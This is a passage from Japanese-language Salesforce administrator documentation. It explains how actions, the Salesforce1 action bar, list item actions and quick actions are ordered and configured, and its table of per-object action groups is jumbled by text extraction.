バルパブリッシャーレイアウトの同じセクションによって、[グローバルアクション] メニューに表示され
るグローバルアクションが決まります。

関連トピック:

ユーザによるアクションの実行
クイックアクションの考慮事項

Lightning Experience でのアクションの順序

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

クイックアクションを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よび Developer Edition

カスタムキャンバスを使
用可能なエディション:
Professional Edition
(Force.com Canvas が有効
な場合)、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition

Lightning Experience では、レコードページのアクションは、そのオブジェクトの
ページレイアウトにある [Salesforce1 および Lightning Experience アクション] セク
ションのアクションリストから取得されます。グローバルパブリッシャーレイ
アウトの同じセクションによって、[グローバルアクション]メニューに表示され
るグローバルアクションが決まります。
オブジェクトのページレイアウトの [Salesforce1およびLightning Experienceアクショ
ン]セクションをカスタマイズしていない場合、オブジェクトのレコードページ
に表示されるクイックアクションは次のものから派生します。
• グローバルパブリッシャーレイアウトのアクション
• オブジェクトページレイアウトのボタンセクションにある標準ボタンとカス

タムボタン
[Salesforce1 および Lightning Experience アクション] セクションをカスタマイズして
も、ページレイアウトのボタンセクションにある標準ボタンとカスタムボタン
は、アクションリストに自動的には組み込まれません。パレットの [Salesforce1お
よび Lightning のアクション]カテゴリのアクションとしてボタンを追加する必要
があります。
レコードページの各セクションのアクションには、ページレイアウトでのその
アクション種別の順序が反映されます。

Lightning Experienceヘッダーの [グローバルアクション]メニュー ( ) には、標準
の Chatter アクション ([投稿]、[ファイル]、[アンケート]、[リンク]、[質問]、[感謝])

を除く、グローバルパブリッシャーレイアウトの [Salesforce1 および Lightning

Experienceアクション]から取得されたすべてのグローバルクイックアクションが
表示されます。

関連トピック:

Lightning Experience のアクション
ユーザによるアクションの実行
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Salesforce1 アクションバー
Salesforce1ユーザは、1 か所でアクションを検索できるため、アクションの実行場所について困惑することがあ
りません。Salesforce1 のさまざまな場所にあったアクションがアクションバーと関連するアクションメニュー
に集約され、ホームとして一元化されました。
Salesforce1 では、生産性アクション、標準ボタンおよびカスタムレコードボタン、クイックアクションがアク
ションバーとアクションメニュー ( ) に表示されます。アクションバーとアクションメニューには、そのペー
ジで使用可能なすべてのアクションが表示されます。

アクションバーおよびアクションメニューの Salesforce1 アクション

アクションバーは、フィード、グループ、ユーザプロファイル、ダッシュボード、レポート、標準およびカス
タムオブジェクトレコードビュー、関連リスト、検索結果など、アプリケーションのほとんどの場所に表示さ
れます。使用可能なアクションは、ユーザが Salesforce1 のどの場所にいるのかによって決まります。また、組
織のページレイアウトおよびパブリッシャーレイアウトの設定方法にも左右されます。
ユーザのアクションバー (アクションメニューも含む) には、次の種類のアクションの一部またはすべてが表示
されます。
• 生産性アクション — [メールを送信] ( )、[電話] ( )、[地図] ( )、[Web サイトを表示] ( )、[ニュース

を閲覧] ( ) アクションは、取引先、取引先責任者、リード、および個人取引先で使用できます。[簡易メッ
セージ] ( )、[カンファレンスコールに参加] ( )、[地図] ( ) アクションは、Salesforce Today のモバイル
カレンダーの行動で使用できます。

ヒント: 生産性アクションは、アクションに関連する情報がレコードに含まれる場合にのみ表示され
ます。たとえば、[メールを送信] アクションは、レコードにメールアドレスが含まれている場合に表
示されます。[Web サイトを表示] アクションは、レコードに Web サイト URL が含まれている場合にの
み表示されます。

• カスタムボタンおよび標準ボタン — オブジェクトのページレイアウトの [ボタン] セクションに含まれるボ
タン ([編集]、[削除]、[コピー] など) は、Salesforce1 のレコードページでアクションバーのアクションとして
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使用できます。アクションの順序をカスタマイズしていない場合、ページレイアウトのボタンセクション
でのボタンの順序が使用されます。ただし、[編集] ボタンの位置は固定です。

メモ: カスタムリンク、リストビューに追加されたカスタムボタン、およびコンテンツソースをOnClick

JavaScript として定義しているカスタムボタンは、Salesforce1 ではサポートされず、表示されませ
ん。

• クイックアクション — グローバルパブリッシャーレイアウトまたはオブジェクトのページレイアウトで、
アクションバーのアクションの追加、削除、並び替えをした場合、その変更はSalesforce1に反映されます。

• 標準 Chatter アクション — Chatter 固有のアクション ([投稿]、[ファイル]、[リンク]、[アンケート] など)。

例外
• レコードフィードでは、[フォロー]/[フォロー解除]ボタンは引き続きページの [特長] 領域に表示されます。
• 公開および非公開グループフィードで、[グループに参加] および [参加を要請] ボタンは引き続き [特長] 領

域に表示されますが、[グループを脱退] ボタンはアクションバーに表示されます。

カスタムブランド設定への影響
設定できるカスタムアイコンのバージョンは 1 つのみです。Winter '15 より前に作成したカスタムアクションア
イコンも引き続きサポートされますが、アクションバーに表示されるとアイコンの一部が切れて見えます。ア
クションバーでのカスタムアクションアイコンの表示を最適化するには、次のガイドラインを使用してくださ
い。
• アイコンは 72×72 ピクセルである必要があります。画像にはピクセルの領域全体を使用します。以前のよ

うに画像の周囲に余白を残さないでください。
• 画像は、背景が透明色の PNG 形式にして、ファイルサイズを 10 K 未満にする必要があります。
• 解像度は 72 dpi にします。
• アイコングラフィックは白か、背景色よりも明るい色にします。
• 内部や周囲に濃い影を付けないようにします。
• Salesforce1 アイコンファミリに似た、シンプルでフラットなスタイルを使用します。

Salesforce1 のリスト項目のアクション
リスト項目のアクションとは、リストビュー、ToDo リスト、および関連レコードリストの項目に対して表
示されるアクションバーです。Salesforce1のユーザは、レコードを開かずにリストから直接レコードを更新
できます。
Salesforce1 のアクションバーでのアクションの順序
ページレイアウトおよびグローバルパブリッシャーレイアウトの [Salesforce1 および Lightning Experience アク
ション] セクションによって、Salesforce1 のアクションバーに表示されるアクションが決まります。また、
クイックアクション、生産性アクション、およびアクションとして使用可能な標準ボタンとカスタムボタ
ンの順序のカスタマイズもできます。
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Salesforce1 のアクションバーおよびリスト項目アクションでの定義済みアクションの順序
Salesforce1のアクションバーおよびリスト項目アクションのアクションの表示順序は、組織のページレイア
ウトやパブリッシャーレイアウトで制御されます。ページレイアウトまたはグローバルパブリッシャーレ
イアウトでアクションバーのアクションをカスタマイズしない場合、主要アクションの場所は Salesforce に
よって事前に定義されます。
Salesforce1 のアクションに関する考慮事項

Salesforce1 のリスト項目のアクション
リスト項目のアクションとは、リストビュー、ToDo リスト、および関連レコードリストの項目に対して表示
されるアクションバーです。Salesforce1 のユーザは、レコードを開かずにリストから直接レコードを更新でき
ます。
リスト項目のアクションにアクセスするには、リストビューまたは ToDo リストに移動するか、オブジェクト
の関連情報ページで関連リストを開きます。それから、目的のレコードで左にスワイプします。
リスト項目を右にスワイプして戻すか、リストの別の項目をタップすると、リスト項目のアクションが非表示
になります。

リストビュー
リストビューのリスト項目のアクションは、オブジェクトのレコードを表示したときにアクションバーで使用
できるアクションと同じではありません。たとえば、ユーザが Salesforce1 で商談レコードにアクセスすると、
アクションバーのアクションには、商談ページレイアウトの [Salesforce1 および Lightning Experience アクション]

セクションのアクションが反映されます。
ただし、ユーザがリストビューで商談を左にスワイプすると、次の図のように、商談の定義済みアクションの
リストからアクションが表示されます。オブジェクトごとの定義済みアクションのリストについては、
「Salesforce1 のアクションバーおよびリスト項目アクションでの定義済みアクションの順序」を参照してくだ
さい。

リスト項目で使用可能なアクショ
ンの完全なリストを表示するには、

をタップします。

リスト項目のアクションを表示す
るには、リスト項目を左にスワイ
プします。[すべての商談] リストビューです。
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関連リスト
Salesforce1 の関連リストに表示されるリスト項目のアクションには、Lightning Experience の関連リストと同じア
クションが反映されます。通常、これは標準アクションの [編集] と [削除] ですが、オブジェクトによって変わ
る可能性があります。たとえば、Lightning Experienceの [商談] 関連リスト項目のドロップダウンメニューで使用
できるアクションは、Salesforce1 の関連リストの同じレコードを左にスワイプしたときにユーザに表示される
一連のアクションと同じです。

メモ: 組織で Lightning Experience を有効にしていなくても、Salesforce1 に表示される関連リストのアクショ
ンは、Lightning Experience (有効になっている場合) の関連リスト項目に表示されるアクションと一致しま
す。
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メモ:  ToDo と行動のリスト項目を関連リストに表示した場合、それらは他のオブジェクトとは異なりま
す。Salesforce1 でメニューから [ToDo] 項目をタップすると、[私の ToDo] リストビューの項目を左にスワイ
プして、ToDo に対する定義済みアクションを表示できます。ただし、Salesforce1の [活動予定] または [活動
履歴] 関連リストの ToDo と行動にはアクションが存在せず、またそれらをスワイプすることもできませ
ん。

関連トピック:

Salesforce1 アクションバー
Salesforce1 のアクションバーでのアクションの順序
Salesforce1 のアクションに関する考慮事項
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Salesforce1 のアクションバーでのアクションの順序

エディション

使用可能なインター
フェース: Salesforce Classic
と Lightning Experience の
両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よび Developer Edition

ページレイアウトおよびグローバルパブリッシャーレイアウトの [Salesforce1およ
び Lightning Experience アクション] セクションによって、Salesforce1 のアクション
バーに表示されるアクションが決まります。また、クイックアクション、生産
性アクション、およびアクションとして使用可能な標準ボタンとカスタムボタ
ンの順序のカスタマイズもできます。
レイアウトの [Salesforce1 および Lightning Experience アクション] セクションをカス
タマイズすると、Salesforce1 にそのカスタマイズが反映されます。
[Salesforce Classic パブリッシャーのクイックアクション] セクションをカスタマイ
ズするが、[Salesforce1]セクションはカスタマイズしない場合、Salesforce1アクショ
ンバーのアクションは、[Salesforce Classic パブリッシャーのクイックアクション]

セクションのアクションに、ページレイアウトに存在する標準またはカスタム
ボタンを組み合わせたものになります。
[Salesforce1 および Lightning Experience アクション] セクションをカスタマイズして
も、ページレイアウトのボタンセクションにある標準ボタンとカスタムボタン
は、アクションリストに自動的には組み込まれません。パレットの [Salesforce1お
よび Lightning のアクション]カテゴリのアクションとしてボタンを追加する必要
があります。
どちらのセクションもカスタマイズされていない場合、アクションバーにはSalesforceで事前定義されているデ
フォルトのアクションのセットが継承されます。この一連のアクションは、各オブジェクトに必要な最も一般
的または典型的な活動に基づいて、オブジェクトごとに異なります。

関連トピック:

Salesforce1 のアクションバーおよびリスト項目アクションでの定義済みアクションの順序
Salesforce1 アクションバー
Salesforce1 のアクションに関する考慮事項

Salesforce1 のアクションバーおよびリスト項目アクションでの定義済みアクションの順序
Salesforce1 のアクションバーおよびリスト項目アクションのアクションの表示順序は、組織のページレイアウ
トやパブリッシャーレイアウトで制御されます。ページレイアウトまたはグローバルパブリッシャーレイアウ
トでアクションバーのアクションをカスタマイズしない場合、主要アクションの場所はSalesforceによって事前
に定義されます。

重要: この定義済み順序は、オブジェクトのページレイアウトまたはグローバルパブリッシャーレイアウ
トで [Salesforce1 および Lightning Experience アクション] セクションをカスタマイズしていない場合にのみ
Salesforce1 アクションバーに適用されます。

定義済みのクイックアクションセットは、オブジェクトページレイアウトまたはグローバルパブリッシャーレ
イアウトの [Salesforce Classic パブリッシャーのクイックアクション] セクションのアクションから派生します。
オブジェクトページレイアウトで Salesforce1 セクションがカスタマイズされていない場合

[Salesforce Classic パブリッシャーのクイックアクション] セクションでアクションをカスタマイズしている場
合、アクションバーのクイックアクションにそのカスタマイズが反映されます。
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どちらのセクションもカスタマイズされていない場合、アクションバーのクイックアクションはグローバ
ルパブリッシャーレイアウトの [Salesforce Classicパブリッシャーのクイックアクション]セクションから取得
されます。

グローバルパブリッシャーレイアウトで Salesforce1 セクションがカスタマイズされていない場合
[Salesforce Classic パブリッシャーのクイックアクション] セクションがカスタマイズされている場合、アク
ションバーのクイックアクションはそのカスタマイズを継承します。
どちらのセクションもカスタマイズされていない場合、グローバルページのアクションバーのクイックア
クションは、デフォルトの Salesforce による定義済みセットになります。

アクションバー、リスト項目アクション、および関連付けられたアクションメニューの定義済みアクション
は、複数のグループに分割されています。このグループの配置は固定されています。グループ内のアクション
の順序は、オブジェクトと、グローバルパブリッシャーレイアウトまたはオブジェクトのページレイアウトに
表示されるアクションに基づいて、変化する可能性があります。すべてのオブジェクトやページにすべてのグ
ループが表示されるわけではありません。

メモ: リストビュー項目のアクションは、そのオブジェクトの定義済みのアクションセットのみを反映し
ます。たとえば、Salesforce1 で [すべての取引先] リストを表示しているとします。リスト内で取引先項目
を左にスワイプすると、一連のアクションが表示されます。このアクションは、このグラフの取引先の
定義済みのアクションリストから取得されます。[電話]、[編集]、[削除] は常に表示されます。リストビュー
項目のその他のアクションは、グラフのアクショングループに対して定義された順番とルールに従いま
す。

各オブジェクトまたはページの各グループでのアクションの分類の詳細を次に示します。

アクショング
ループ 6

アクショング
ループ 5

アクショング
ループ 4

アクショング
ループ 3

アクショング
ループ 2

アクショング
ループ 1

オブジェクト
またはページ

テキストを送
信 ([電話] 項

Salesforce1 でサ
ポートされる
残りの標準ボ

Salesforce1でサ
ポートされる
カスタムボタ

[Salesforce Classic

パブリッ
シャーのク
イックアク

5. 編集1. 電話、2. 新
規 ToDo、3. 新
規行動、4. 投
稿

取引先

目が指定され
ている場合)

Web サイトを
表示 ([Web サ

タン。ページ
レイアウトで
定義された順
序で表示され
ます。

ン。ページレ
イアウトで定
義された順序
で表示されま
す。*

ション] セク
ションの残り
のクイックア
クション。そ
のセクション

イト] 項目が
指定されてい
る場合)がカスタマイ

ズされていな
い場合、残り
のクイックア
クションはグ
ローバルパブ
リッシャーレ
イアウトの
[Salesforce Classic

パブリッ
シャーのク
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アクショング
ループ 6

アクショング
ループ 5

アクショング
ループ 4

アクショング
ループ 3

アクショング
ループ 2

アクショング
ループ 1

オブジェクト
またはページ

イックアク
ション] セク
ションから継
承されます。

Salesforce1 でサ
ポートされる

Salesforce1でサ
ポートされる

編集[Salesforce Classic

パブリッ
シャーのク

ケース

残りの標準ボカスタムボタ
イックアク タン。ページン。ページレ
ション] セク レイアウトでイアウトで定
ションのアク 定義された順義された順序
ション。その 序で表示され

ます。
で表示されま
す。*セクションが

カスタマイズ
されていない
場合、クイッ
クアクション
はグローバル
パブリッ
シャーレイア
ウトの
[Salesforce Classic

パブリッ
シャーのク
イックアク
ション] セク
ションから継
承されます。

テキストを送
信

Salesforce1 でサ
ポートされる
残りの標準ボ

Salesforce1でサ
ポートされる
カスタムボタ

[Salesforce Classic

パブリッ
シャーのク
イックアク

5. 編集1. 電話、2.

メールを送
信、3. 新規
ToDo、4. 新規
行動

取引先責任者

タン。ページ
レイアウトで
定義された順

ン。ページレ
イアウトで定
義された順序

ション] セク
ションの残り
のクイックア 序で表示され

ます。
で表示されま
す。*クション。そ

のセクション
がカスタマイ
ズされていな
い場合、残り
のクイックア
クションはグ
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アクショング
ループ 6

アクショング
ループ 5

アクショング
ループ 4

アクショング
ループ 3

アクショング
ループ 2

アクショング
ループ 1

オブジェクト
またはページ

ローバルパブ
リッシャーレ
イアウトの
[Salesforce Classic

パブリッ
シャーのク
イックアク
ション] セク
ションから継
承されます。

Salesforce1 でサ
ポートされる

Salesforce1でサ
ポートされる

[Salesforce Classic

パブリッ
シャーのク

5. 編集最初の 4 つの
パブリッ
シャーアク

カスタムオブ
ジェクト

残りの標準ボカスタムボタ
イックアクション。ペー タン。ページン。ページレ
ション] セクジレイアウト レイアウトでイアウトで定
ションの残りで定義された 定義された順義された順序
のクイックア順序で表示さ 序で表示され

ます。
で表示されま
す。*クション。そ

のセクション
れます。
[Salesforce Classic

がカスタマイパブリッ
ズされていなシャーのク
い場合、残りイックアク
のクイックアション] セク
クションはグションをカス
ローバルパブタマイズして
リッシャーレいない場合
イアウトのは、最初の 4
[Salesforce Classicつのアクショ
パブリッンがグローバ
シャーのクルパブリッ
イックアクシャーレイア
ション] セクウトで定義さ
ションから継
承されます。

れている順序
で表示されま
す。

編集、削除クイックアク
ション。レイ

行動

アウトに定義
された順序で
表示されま
す。標準
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アクショング
ループ 6

アクショング
ループ 5

アクショング
ループ 4

アクショング
ループ 3

アクショング
ループ 2

アクショング
ループ 1

オブジェクト
またはページ

Chatter アク
ションはサ
ポートされて
いません。

クイックアク
ション。グ

フィード

ローバルパブ
リッシャーレ
イアウトに定
義された順序
で表示されま
す。

Salesforce1 でサ
ポートされる

[Salesforce Classic

パブリッ
シャーのク

グループ

残りの標準ボ
イックアク タン。ページ
ション] セク レイアウトで
ションのアク 定義された順
ション。その 序で表示され

ます。セクションが
カスタマイズ
されていない
場合、クイッ
クアクション
はグローバル
パブリッ
シャーレイア
ウトの
[Salesforce Classic

パブリッ
シャーのク
イックアク
ション] セク
ションから継
承されます。

電話、テキス
トを送信、
メールを送信

Salesforce1 でサ
ポートされる
残りの標準ボ
タン。ページ

Salesforce1でサ
ポートされる
カスタムボタ
ン。ページレ

[Salesforce Classic

パブリッ
シャーのク
イックアク
ション] セク

5. 編集1. 活動の記
録、2. 新規
ToDo、3. 取引
の開始 (有効な
場合)、4. 投稿

リード

レイアウトで
定義された順

イアウトで定
義された順序ションの残り
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アクショング
ループ 6

アクショング
ループ 5

アクショング
ループ 4

アクショング
ループ 3

アクショング
ループ 2

アクショング
ループ 1

オブジェクト
またはページ

のクイックア
クション。そ

序で表示され
ます。

で表示されま
す。*

のセクション
がカスタマイ
ズされていな
い場合、残り
のクイックア
クションはグ
ローバルパブ
リッシャーレ
イアウトの
[Salesforce Classic

パブリッ
シャーのク
イックアク
ション] セク
ションから継
承されます。

グローバルア
クション。

「アプリケー
ションペー

Lightning ページ」である
ジに定義されLightning ペー

ジ た順序で表示
されます。

新規作成リストビュー

1. 新規作成、2.

並び替え
オブジェクト
のホームペー
ジ (タブレット
のみ)

Salesforce1 でサ
ポートされる

Salesforce1でサ
ポートされる

[Salesforce Classic

パブリッ
シャーのク

5. 編集1. 活動の記
録、2. 新規
ToDo、3. 新規
行動、4. 投稿

商談

残りの標準ボ
タン。ページ
レイアウトで

カスタムボタ
ン。ページレ
イアウトで定

イックアク
ション] セク
ションの残り 定義された順義された順序
のクイックア 序で表示され

ます。
で表示されま
す。*クション。そ

のセクション
がカスタマイ
ズされていな
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アクショング
ループ 6

アクショング
ループ 5

アクショング
ループ 4

アクショング
ループ 3

アクショング
ループ 2

アクショング
ループ 1

オブジェクト
またはページ

い場合、残り
のクイックア
クションはグ
ローバルパブ
リッシャーレ
イアウトの
[Salesforce Classic

パブリッ
シャーのク
イックアク
ション] セク
ションから継
承されます。

残りのアク
ション。グ

1. 電話、2.

メールを送
信、3. 投稿

人

ローバルパブ
リッシャーレ
イアウトに定
義された順序
で表示されま
す。

地図、ニュー
スを閲覧、テ

Salesforce1 でサ
ポートされる

Salesforce1でサ
ポートされる

[Salesforce Classic

パブリッ
シャーのク

5. 編集1. 電話、2.

メールを送
信、3. 新規

個人取引先

キストを送残りの標準ボカスタムボタ
イックアクToDo、4. 新規

行動
信、Web サイ
トを表示

タン。ページ
レイアウトで
定義された順

ン。ページレ
イアウトで定
義された順序

ション] セク
ションの残り
のクイックア 序で表示され

ます。
で表示されま
す。*クション。そ

のセクション
がカスタマイ
ズされていな
い場合、残り
のクイックア
クションはグ
ローバルパブ
リッシャーレ
イアウトの
[Salesforce Classic

パブリッ
シャーのク
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アクショング
ループ 6

アクショング
ループ 5

アクショング
ループ 4

アクショング
ループ 3

アクショング
ループ 2

アクショング
ループ 1

オブジェクト
またはページ

イックアク
ション] セク
ションから継
承されます。

1. 新規作成関連リスト (標
準オブジェク
ト用)

クイックアク
ション。グ

Salesforce Today

— メインペー
ジ ローバルパブ

リッシャーレ
イアウトに定
義された順序
で表示されま
す。

[Salesforce Classic

パブリッ
1. 簡易メッ
セージ、2. カ

Salesforce Today

— モバイルカ
レンダーの行
動

シャーのク
イックアク
ション] セク

ンファレンス
コールに参
加、3. 地図

ションの残り
のクイックア
クション。そ
のセクション
がカスタマイ
ズされていな
い場合、残り
のクイックア
クションはグ
ローバルパブ
リッシャーレ
イアウトの
[Salesforce Classic

パブリッ
シャーのク
イックアク
ション] セク
ションから継
承されます。
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アクショング
ループ 6

アクショング
ループ 5

アクショング
ループ 4

アクショング
ループ 3

アクショング
ループ 2

アクショング
ループ 1

オブジェクト
またはページ

Salesforce1 でサ
ポートされる

Salesforce1でサ
ポートされる

[Salesforce Classic

パブリッ
シャーのク

5. 編集1. コメントの
編集、2. 日付
の変更、3. 状

ToDo

残りの標準ボカスタムボタ
イックアク況の変更、4.

優先度の変更
タン。ページ
レイアウトで
定義された順

ン。ページレ
イアウトで定
義された順序

ション] セク
ションの残り
のクイックア 序で表示され

ます。
で表示されま
す。*クション。そ

のセクション
がカスタマイ
ズされていな
い場合、残り
のクイックア
クションはグ
ローバルパブ
リッシャーレ
イアウトの
[Salesforce Classic

パブリッ
シャーのク
イックアク
ション] セク
ションから継
承されます。
標準 Chatter ア
クションはサ
ポートされて
いません。

前述のとおり、一部のアクションの位置は固定されています。表には番号付きリストが示されていますが、こ
れは、アクションが、アクションバー、リスト項目アクション、およびそれぞれのアクションメニューに表示
されるときの、固定された順序です。
たとえば、取引先オブジェクトでは、標準の [Chatter 投稿] アクションは 4 番目に表示されます。これは固定さ
れています。[投稿] アクションを取引先ページレイアウトのどこに配置しているかに関係なく、常に 4 番目に
配置されます。
ただし、アクションの削除は必ず考慮されます。この例では、取引先ページレイアウトから [投稿] アクション
を削除すると、残りのアクションが上に移動するため、[編集] アクションが 4 番目に配置されます。
* ページレイアウトの [ボタン] セクションに追加されたカスタムボタン、および URL または Visualforce と
してコンテンツソースを定義するカスタムボタンは、Salesforce1でサポートされています。Salesforce1でVisualforce

ページが有効になっている必要があります。カスタムリンク、リストビューに追加されたカスタムボタン、お
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よび OnClick JavaScript としてコンテンツソースを定義するカスタムボタンは、Salesforce1 で使用できま
せん。

関連トピック:

Salesforce1 のアクションバーでのアクションの順序
Salesforce1 アクションバー
Salesforce1 のアクションに関する考慮事項

Salesforce1 のアクションに関する考慮事項

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

• 生産性アクションは、アクションに関連する情報がレコードに含まれる場合
にのみ表示されます。たとえば、[メールを送信] アクションは、レコードに
メールアドレスが含まれている場合に表示されます。[Web サイトを表示] ア
クションは、レコードに Web サイト URL が含まれている場合にのみ表示され
ます。

• オブジェクトでフィード追跡が有効になっていない場合、Salesforce1アクショ
ンバー、またはアクションリストを使用するサードパーティアプリケーショ
ンには非標準アクションのみが表示されます。非標準アクションには、[作
成]、[更新]、[活動の記録]、カスタムアクション、およびモバイルスマートア
クションが含まれます。

• 組織でレコードタイプを使用している場合は、一部のクイックアクションが
ユーザに表示されないことがあります。詳細は、「クイックアクションとレ
コードタイプ」 (ページ 6314)を参照してください。

• モバイルスマートアクション要素は、ページレイアウトエディタに単一のア
クション要素として表示されますが、Salesforce1に表示されるときには複数の
アクションに展開されます。[Salesforce Classic のパブリッシャーのクイックア
クション]セクションにモバイルスマートアクション要素があり、アクションバーセクションをカスタマイ
ズした場合、Salesforce1 のアクションは、アクションバーのカスタマイズから取得されます。この場合、
[Salesforce Classic のパブリッシャーのクイックアクション] セクションのモバイルスマートアクション要素は
関係がなくなります。

• 標準およびカスタムオブジェクトについて Salesforce1 アクションバーのアクションをカスタマイズするに
は、まず事前定義されたアクションを上書きします。その後で、[Salesforce1 および Lightning Experience アク
ション] セクションでアクションを追加または削除できます。
たとえば、Salesforce1のグループで [グループに参加]、[グループを編集]、または [グループを脱退] アクショ
ンを移動する場合、グループページレイアウトの事前定義されたアクションを上書きします。

• Salesforce Classic で URL カスタムボタンを使用してパラメータを標準ページに渡している場合 (レコードの作
成時に項目に事前入力する場合など)、Salesforce1 や Lightning Experience ではこの動作は機能しません。

• ページレイアウトの [Salesforce1および Lightning Experienceアクション]セクションにカスタムボタンを追加す
ると、そのカスタムボタンのアイコンが Salesforce1 アクションバーに稲妻として表示されます。[Salesforce1
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およびLightning Experienceアクション]セクションをカスタマイズしない場合、そのカスタムボタンのアイコ
ンは Salesforce1 アクションバーにレンチとして表示されます。

関連トピック:

Salesforce1 のアクションバーでのアクションの順序
Salesforce1 のアクションバーおよびリスト項目アクションでの定義済みアクションの順序

クイックアクションとレコードタイプ

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

クイックアクションを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よび Developer Edition

カスタムキャンバスを使
用可能なエディション:
Professional Edition
(Force.com Canvas が有効
な場合)、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition

組織でレコードタイプを使用すると、ユーザに対するクイックアクションの可
用性に影響を及ぼすことがあります。
特定のレコードタイプへのアクセス権を持たないユーザは、そのレコードタイ
プに割り当てられたアクションを使用できません。たとえば、レコードタイプ
が割り当てられていないアクションや、レコードタイプ A が割り当てられたア
クションが混在するページレイアウトがあるとします。レコードタイプ A への
アクセス権を持たないユーザには、ページにアクセスしたときに、レコードタ
イプが割り当てられていないアクションのみが表示されます。

重要: マスタレコードタイプにはアクションを割り当てないでください。
マスタレコードタイプは、組織の作成時に割り当てられるプレースホルダ
レコードタイプです。

デフォルトグローバルアクション: 特別なケース
組織にデフォルトグローバルアクションがあり、レコードタイプを使用してい
る場合、ページレイアウトに割り当てられたデフォルトアクションのすべてが
ユーザに表示されるとは限りません。
デフォルトグローバルアクションは、ほとんどのプロファイルではアクセスで
きないマスタレコードタイプに割り当てられます。そのため、ほとんどのユー
ザは、レコードタイプが設定された対象オブジェクトに関連付けられたマスタ
レコードタイプを持つデフォルトグローバルアクションを使用できません。こ
の問題を解決するには、対象オブジェクトに関連付けられたデフォルトグロー
バルアクションを編集し、それを別のレコードタイプに再度割り当てます。
たとえば、[新規取引先責任者] デフォルトグローバルアクションには、取引先責
任者という対象オブジェクトがあります。取引先責任者オブジェクトにレコー
ドタイプを設定し、[新規取引先責任者] デフォルトグローバルアクションをページレイアウトに追加したとし
ます。デフォルトではアクションがマスタレコードタイプに割り当てられるため、そのページレイアウトに基
づいてユーザがレコードにアクセスしたときに [新規取引先責任者] アクションは表示されません。[新規取引
先責任者] デフォルトグローバルアクションを編集し、それをマスタ以外のレコードタイプに割り当てると、
割り当てられたレコードタイプへのアクセス権を持つすべてのユーザが使用できるようになります。
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アクションのベストプラクティス

エディション

アクションを使用可能な
インターフェース:
Salesforce Classic および
Lightning Experience の両方

パブリッシャーを使用可
能なインターフェース:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

アクションを設定する場合は、次のヒントを参考にしてください。

アクション作成のヒント
• 長さが約 12 ～ 14 文字を超えるアクションの表示ラベルは、Chatter パブリッ

シャーに表示されるときに短縮されます。名前は簡潔なものにします。
• アクションにタスク指向の名前を付け、ユーザに機能がわかるようにしま

す。新規、作成、共有、更新、インポートのような用語を使用します。
• 各アクションに関する作成者自身のメモを作成するには、[説明] 項目を使

用します。メモはたとえば、さまざまなレコードタイプで似たアクションを
複数作成する場合に特に便利です。説明は、オブジェクト固有のアクション
のボタン、リンク、アクションのリストまたはグローバルアクションのリス
ト、およびアクションの詳細ページに表示されます。作成者のメモはユーザ
には表示されません。

• Chatterパブリッシャーに表示されるカスタムアクションを作成する場合、正
しく表示されるように高さを 400 ピクセルに制限します。

アクションレイアウトのヒント
• アクションレイアウトをカスタマイズするときは、ユーザがそれで何を実行

するかを考慮します。最小限に抑えることが重要です。モバイルユーザにとって、また、これらのアクショ
ンから発生するケース、通話、レコードを処理するすべてのユーザにとって必要な項目のみを含めます。

• モバイルデバイスに表示する場合など、1 列のみのレイアウトを作成するには、項目を左の列にのみ追加し
ます。

• 共通項目に標準値を設定するには、事前定義した項目値を使用します。たとえば、ユーザが商談を作成す
るアクションを設定する場合、[フェーズ] 項目の定義済みの値として [見込み客] を設定します。そのアク
ションを使用してユーザが新規に作成するすべての商談は、[見込み客] フェーズに自動的に割り当てられ
ます。[フェーズ]項目には値が自動的に割り当てられるため、この項目をアクションのレイアウトから削
除できます。アクションを使用して作成したオブジェクトレコードの項目に定義済みの値を設定すると、
それらの項目をアクションレイアウトに追加する必要がなくなります。

• さまざまなユーザプロファイルにレイアウトがどう表示されるかを確認するには、アクションレイアウト
エディタの [指定した形式でプレビュー] ボタンを使用します。

パブリッシャーへのアクション追加のヒント
• 追加するアクションが多すぎるとページの読み込みが遅くなるため、各パブリッシャーに標準のアクショ

ンを含む 9 つ以上のアクションを含めないことをお勧めします。
• Salesforce Classic で、ページレイアウトのアクションセクションに 5 つ以上のアクションを追加すると、3 つ

が表示され、残りはパブリッシャーの [さらに表示] メニューに追加されます。追加するアクションが 4 つ
以下の場合は、すべて表示されます。
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• Salesforce1 の場合、最初の 4 つのアクションはアクションバーに表示され、すべてのアクションは、 を
タップすると表示されます。

関連トピック:

クイックアクションの考慮事項
アクションのトラブルシューティング
Chatter が有効な場合のアクションの設定

クイックアクションの考慮事項

エディション

アクションを使用可能な
インターフェース:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よび Developer Edition

組織でクイックアクションを操作するときは、次の考慮事項に留意してくださ
い。
• Salesforce Classicで URL カスタムボタンを使用してパラメータを標準ページに渡

している場合 (レコードの作成時に項目に事前入力する場合など)、Salesforce1

や Lightning Experience ではこの動作は機能しません。
• 組織でレコードタイプを使用している場合は、一部のクイックアクションが

ユーザに表示されないことがあります。詳細は、「クイックアクションとレ
コードタイプ」 (ページ 6314)を参照してください。

• ページレイアウトにオブジェクト固有のアクションを表示するには、ユーザ
がアクションのリレーション項目に対する「参照」権限と「編集」権限の両
方を持っている必要があります。リレーション項目は、ユーザがアクション
を使用してレコードを作成したときに自動的に入力される対象オブジェクト
